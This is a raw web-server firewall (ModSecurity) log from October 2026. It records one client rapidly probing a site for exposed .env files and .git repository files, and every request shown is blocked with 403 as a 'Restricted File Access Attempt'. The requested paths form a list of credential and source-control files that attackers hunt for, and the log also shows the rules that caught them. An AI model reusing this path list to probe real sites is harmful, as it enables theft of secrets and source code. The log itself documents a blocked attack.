[Tue Oct 27 07:42:02.109433 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auCOCgHzNpgY2H50otlpRAAAAAg"]
[Tue Oct 27 07:42:02.109776 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auCOCgHzNpgY2H50otlpRAAAAAg"]
[Tue Oct 27 07:42:02.118714 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auCOCm_oZ855J3-bmxEp_wAAAAY"]
[Tue Oct 27 07:42:02.118985 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auCOCm_oZ855J3-bmxEp_wAAAAY"]
[Tue Oct 27 07:42:02.119405 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auCOCm_oZ855J3-bmxEp_wAAAAY"]
[Tue Oct 27 07:42:02.125958 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCOCpekxYBRCO5jo1OIMQAAABA"]
[Tue Oct 27 07:42:02.126100 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCOCpekxYBRCO5jo1OIMQAAABA"]
[Tue Oct 27 07:42:02.126339 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCOCpekxYBRCO5jo1OIMQAAABA"]
[Tue Oct 27 07:42:02.141388 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCOCo0JjhEi1NzVi4XrwAAAAAc"]
[Tue Oct 27 07:42:02.141559 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCOCo0JjhEi1NzVi4XrwAAAAAc"]
[Tue Oct 27 07:42:02.141796 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCOCo0JjhEi1NzVi4XrwAAAAAc"]
[Tue Oct 27 07:42:02.154131 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auCOCgJ0bI7Z9n11TMAC6gAAAAA"]
[Tue Oct 27 07:42:02.154343 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auCOCgJ0bI7Z9n11TMAC6gAAAAA"]
[Tue Oct 27 07:42:02.154677 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/index"] [unique_id "auCOCgJ0bI7Z9n11TMAC6gAAAAA"]
[Tue Oct 27 07:42:02.156372 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCOCpVvqGtwGAy54pYQKgAAAA0"]
[Tue Oct 27 07:42:02.156521 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCOCpVvqGtwGAy54pYQKgAAAA0"]
[Tue Oct 27 07:42:02.156782 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "auCOCpVvqGtwGAy54pYQKgAAAA0"]
[Tue Oct 27 07:42:02.166609 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCOCiV3rvdaeXJTlLHAOgAAAAM"]
[Tue Oct 27 07:42:02.166785 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCOCiV3rvdaeXJTlLHAOgAAAAM"]
[Tue Oct 27 07:42:02.167046 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "auCOCiV3rvdaeXJTlLHAOgAAAAM"]
[Tue Oct 27 07:42:02.242988 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auCOCiV3rvdaeXJTlLHAOwAAAAM"]
[Tue Oct 27 07:42:02.243169 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auCOCiV3rvdaeXJTlLHAOwAAAAM"]
[Tue Oct 27 07:42:02.243393 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "auCOCiV3rvdaeXJTlLHAOwAAAAM"]
[Tue Oct 27 07:42:02.246395 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCOCj4THoroSjopRdUANQAAAAE"]
[Tue Oct 27 07:42:02.246522 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCOCj4THoroSjopRdUANQAAAAE"]
[Tue Oct 27 07:42:02.246769 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCOCj4THoroSjopRdUANQAAAAE"]
[Tue Oct 27 07:42:02.292318 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCOChpfUBgvi1kircRVAgAAABg"]
[Tue Oct 27 07:42:02.292455 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCOChpfUBgvi1kircRVAgAAABg"]
[Tue Oct 27 07:42:02.292721 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCOChpfUBgvi1kircRVAgAAABg"]
[Tue Oct 27 07:42:02.294678 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrwgAAAAc"]
[Tue Oct 27 07:42:02.294809 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrwgAAAAc"]
[Tue Oct 27 07:42:02.295027 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "auCOCo0JjhEi1NzVi4XrwgAAAAc"]
[Tue Oct 27 07:42:02.353523 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auCOCgHzNpgY2H50otlpRwAAAAg"]
[Tue Oct 27 07:42:02.353687 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auCOCgHzNpgY2H50otlpRwAAAAg"]
[Tue Oct 27 07:42:02.353932 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "auCOCgHzNpgY2H50otlpRwAAAAg"]
[Tue Oct 27 07:42:02.354674 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCOCm_oZ855J3-bmxEqAgAAAAY"]
[Tue Oct 27 07:42:02.354807 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCOCm_oZ855J3-bmxEqAgAAAAY"]
[Tue Oct 27 07:42:02.355076 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCOCm_oZ855J3-bmxEqAgAAAAY"]
[Tue Oct 27 07:42:02.369195 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/backup/.env"] [unique_id "auCOChpfUBgvi1kircRVAwAAABg"]
